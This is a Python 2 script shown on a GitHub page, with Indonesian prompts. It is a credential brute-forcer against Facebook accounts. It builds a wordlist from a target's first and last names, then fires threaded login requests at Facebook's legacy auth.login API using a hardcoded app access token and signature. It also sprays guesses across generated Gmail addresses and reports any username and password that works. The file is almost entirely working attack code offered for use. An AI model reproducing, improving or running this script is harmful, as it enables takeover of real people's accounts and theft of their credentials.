forked from RKT1/multi_dev
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbrute.py
132 lines (109 loc) · 4.48 KB
/
brute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
# -*- coding UTF-8 -*-
# Author : Iqbal Dev
# Tools : Geli2 Efbeh
# Versi : 0.5
from prettytable import PrettyTable
from multiprocessing.pool import Process, ThreadPool
from useragents import user_agents, string1, string2, deviv, divev
import os, sys, time, requests, json
s = '\n \033[92;1m Suksess... \n Password Found '
multi_dev = []
sandi = []
def Wordlist():
try:
print string1
print "\033[96;1m B U A T W O R D L I $ T "
print '\033[92;1m+'+'-'*38+'+'
nama1 = raw_input("\033[96;1m [\033[95;1m!\033[96;1m]\033[97;1m Masukkan Nama Depan Target\033[93;1m : ")
nama2 = raw_input("\033[96;1m [\033[95;1m!\033[96;1m]\033[97;1m Masukkan Nama Belakang Target\033[93;1m : ")
if nama1 == '' or nama2 == '':
sys.exit("\n\033[91;1m Jangan Kosong dong Sayang!\n Kamu Keluar...")
d = nama1.replace(' ', '').replace(' ', '')
b = nama2.replace(' ', '').replace(' ', '')
lis = ['123','12345','321']
# ////////////////////////////////////////////
for dev in lis:
sandi.append(nama1+dev)
for dev in lis:
sandi.append(nama2+dev)
sandi.append('sayang')
sandi.append('anjing')
except KeyboardInterrupt:
print "\n Keluar.... "
print " \n\033[92;1m Suksess Membuat Wordlist..."
user1 = []
def target():
global target
print string2
user = raw_input("\033[96;1m {\033[97;1m@\033[96;1m}\033[92;1m Masukkan Username Target:\n\033[93;1m => \033[97;1m ")
if '08' not in user and '+62' not in user and '.' not in user and '1000' not in user and 'www.facebook.com' not in user and 'web.facebook.com' not in user or '@' in user[0]:
print '\033[91;1m+'+'-'*38+'+'
print "\033[97;1m Masukkin Username Lol, Bukan Nama orangnya..\n Tapi gk pp lah, kamu masih bisa crack \n Walaupun Tidak Bertarget.."
print '\033[91;1m+'+'-'*38+'+'
gm = user.replace(' ', '').replace('@', '')
for dev in range(1, 51):
user1.append(gm+str(dev)+'@gmail.com')
print "\n\033[92;1m Cracking Berjalan.......\n"
h_sandi = [sandi[0], sandi[1]]
def br_dev(usr):
for pas in h_sandi:
try:
wak = time.ctime()
sys.stdout.write("\r \033[95;1m" + pas + ' | \033[97;1m' + usr )
dev = requests.get("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+usr+"&locale=en_US&password="+pas+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
dev_id = dev.content
jsl = json.loads(dev_id)
if "session_key" in dev_id or "www.facebook.com" in jsl["error_msg"]:
x = PrettyTable()
print
print s
x.add_column("\033[92;1mUsername\033[97;1m", ['\033[96;1m'+usr+'\033[97;1m'])
x.add_column("\033[92;1mPassword\033[97;1m", ['\033[96;1m'+pas+'\033[97;1m'])
print '\033[97;1m'
print x
print('\n\033[96;1m Selamat Anda Sedang Beruntung :)\n Tekan CTRL Z Untuk Berhenti...\n')
except requests.exceptions.ConnectionError:
exit(' Gangguan Koneksi Internet\n Keluarrr....')
except KeyError:
print " "
def crk():
th_dev = ThreadPool(30)
th_dev.map(br_dev, user1)
divev()
deviv()
crk()
exit('\n\n Done .... \n')
print '+'+'-'*38+'+'
pasw = open('user.txt', 'w')
pasw.write(user)
pasw.close()
def br_dev1(paswq):
user = open('user.txt', 'r').read()
wak = time.ctime()
pas = paswq.replace('\n', '')
print '\033[96;1m ' + wak + " \033[95;1m" + pas
usr = user.replace('https://www.facebook.com/', '').replace('https://web.facebook.com/', '')
dev = requests.get("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+usr+"&locale=en_US&password="+pas+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
dev_id = dev.content
jsl = json.loads(dev_id)
if "session_key" in dev_id or "www.facebook.com" in jsl["error_msg"]:
try:
x = PrettyTable()
print s
x.add_column("\033[92;1mUsername\033[97;1m", ['\033[96;1m'+usr+'\033[97;1m'])
x.add_column("\033[92;1mPassword\033[97;1m", ['\033[96;1m'+pas+'\033[97;1m'])
print '\033[97;1m'
print x
divev()
deviv()
raw_input('\n\033[96;1m Selamat Anda Sedang Beruntung :)\n Tekan CTRL Z Untuk Berhenti...\n')
except:
pass
def brute():
Wordlist()
target()
dev = ThreadPool(8)
dev.map(br_dev1, sandi)
divev()
deviv()
print '\n\033[92;1m Selesai Broo..... \n '